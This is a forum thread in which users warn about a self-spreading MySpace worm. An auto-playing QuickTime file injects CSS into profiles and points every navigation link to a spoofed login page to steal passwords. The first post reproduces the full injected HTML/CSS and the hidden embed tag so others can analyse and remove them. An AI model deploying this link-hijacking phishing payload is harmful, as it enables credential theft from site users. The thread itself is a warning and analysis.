Urgent! New myspace exploit


Recommended Posts

anyone use myspace? just tonight on a bunch of profiles i see this quicktime .mov file appearing everywhere.

Well it automatically plays and as soon as i view my homepage it has appeared on mine. Anyways what it bassically does is change all the links on the myspace layouts to link to http://almobty.com/css/login.html which is obviously a spoofed myspace login page and MANY people will fall for this. this is obviously trying to steal passwords and isnt just a proof of concept like some past myspace exploits.

You can easily get rid of this by removing the code in your movies sections and removing the junk code in about me section which changes the links.

Im not coder but here is the code :(maybe someone could examine it?)

About Me:

<style type="text/css">
div table td font { display: none }
div div table tr td a.navbar, div div table tr td font { display: none }
.testnav { position:absolute; top: 136px; left:50%; _top: 146px }
</style><div style="z-index:5; background-color: #6698CB; margin-left:-400px; width: 800px" align="center" class="testnav"><div style=""><a href="http://almobty.com/css/login.html" target="" class="navbar">Home</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Browse</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Search</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Invite</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Film</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Mail</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Blog</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Favorites</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Forum</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Groups</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Events</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Videos</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Music</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Comedy</a> | <a href="http://almobty.com/css/login.html" target="" class="navbar">Classifieds</a></div></div>

Movies

<div style="width: 1px; height: 1px; overflow: hidden; text-indent: -9999px"><embed allowScriptAccess="never" allowNetworking="internal" enableJSURL="false" src=http://almobty.com/css/piAF2iuswo.mov /></div>

The problem is as soon as you visit another profile with it, it comes back and its spreading like wildfire, so maybe remove and keep a low profile for the time being?

http://almobty.com appears to be a foreign website for contracting

Im running firefox 2 (so doesnt only effect IE)

Here is an example:

Theres alot of this crap around lately to do with Myspace...thats why I have stayed away from them and been using Facebook...my mates myspace got accessed like that and he had all his friends deleted and messages sent to people saying obscene things...:(

Looking at the code, it is meant to redo the entire thing... basically redo your entire profile. But there is code in it that does nothing. I think someone modified a hack from the past, and it's gotten out of control.

That imageshack photo is kinda odd... eh?

it is a redirect exploit seemingly enough, the mov is used as means of spreading it adds the css code into your profile and uses it to phish you. That sall, and as far as the site it is being hosted on odds are it is a hacked server, what i would be worried about is if someone takes the spread code and uses it for something else. Thkn abotu it if they are able to get the code to edit yoru profile with a mov file just what else could be done with this

If you uses a text editor you can change the location of the script that it looks for and create your own custom script for your myspace page. I have download the js.js and looked at the code it just seem try to write over your formating and the it spams every 6 sec. to random id.

yeh, but it writes the javascript through the quicktime file so open the quicktime .mov in notepad, look at the binary followed by "apple text writer plugin"

I got this, Does the users PC become infected with anything?

When I view my profile and click home I get re directed to

http://www.../images/login.html

Which doesnt go anywhere obviously, Has this thing installed anything on my PC?

This has actually been around for a while. I took note of it back in October and thought nothing of it. I even warned people about this .mov exploit and nobody really listened. I guess I should have posted something here, eh? :laugh: . This has happened to me twice now, and yes, I know how to get rid of it. But I'm tired of the insecure status of Myspace, and therefore have deleted my account.

I'm glad someone made this public, as it should be addressed to both Myspace and the people who use it.

Everyone who has contributed to this thread thus far has explained the majority of this exploit. There are several sources of the .mov and I don't think this will be fixed for a while. I suggest that you leave Myspace as soon as possible, people. I'm actually glad this happened to me more than once; now I won't be wasting any MORE time. :laugh:. It's only going to get worse from here on, and we can't really do anything about it.

Ah well. I guess that's how it goes... :p

    • Microsoft is making Windows 11's context menus faster, simpler, and configurable by Taras Buria Five years ago, Windows 11 introduced redesigned context menus, offering users a simpler, more modern design. However, customers quickly discovered that the new menus leave a lot to be desired. Many are unhappy with performance (they are really slow), while others dislike the double-layed design, where many options are hidden behind the "Show more options" button. In addition, over the years, menus became cluttered and overloaded. While Microsoft has already fixed plenty of pain points across Windows 11, context menus remain mostly unchanged. Fortunately, Microsoft is finally listening. Marcus Ash, Design and Research Lead for Windows at Microsoft, responded to a tweet on X, confirming that the company is working on fixing Windows 11's context menus. Reworked context menus are supposed to be faster, simpler by default, and "configurable to what you use most." What the latter means is unknown, just like whether Microsoft plans to keep the classic menu alongside the modern one, but according to Marcus, the wait should finally be over soon, as he promised to "share our approach soon." Improved context menus will most likely appear first in Windows 11 preview builds in the Experimental Channel. While we wait for Microsoft to release them, you can try fixing context menus on your PC with a simple tool called Windows 11 Context Menu Manager. It lets you disable entries you do not need, not only cleaning up context menus, but also making them significantly faster. Microsoft has already improved Windows 11's Start menu and taskbar, so hopefully it will address user criticism of the context menu as well. Stay tuned for new Windows 11 preview builds, which usually arrive every Friday.

    • "No. The "New Outlook for Windows" does not support non-cloud mailboxes (such as on-premises Exchange servers). Furthermore, because the New Outlook effectively functions as a web-based client, it requires all connected accounts—even standard IMAP or POP accounts—to route and cache data through Microsoft's cloud servers. You can verify the accepted account setups using the Microsoft Supported Account Types Guide." Built to fail "New" Outlook is basically just webmail in a window wrapper and it's usefulness reflects that.
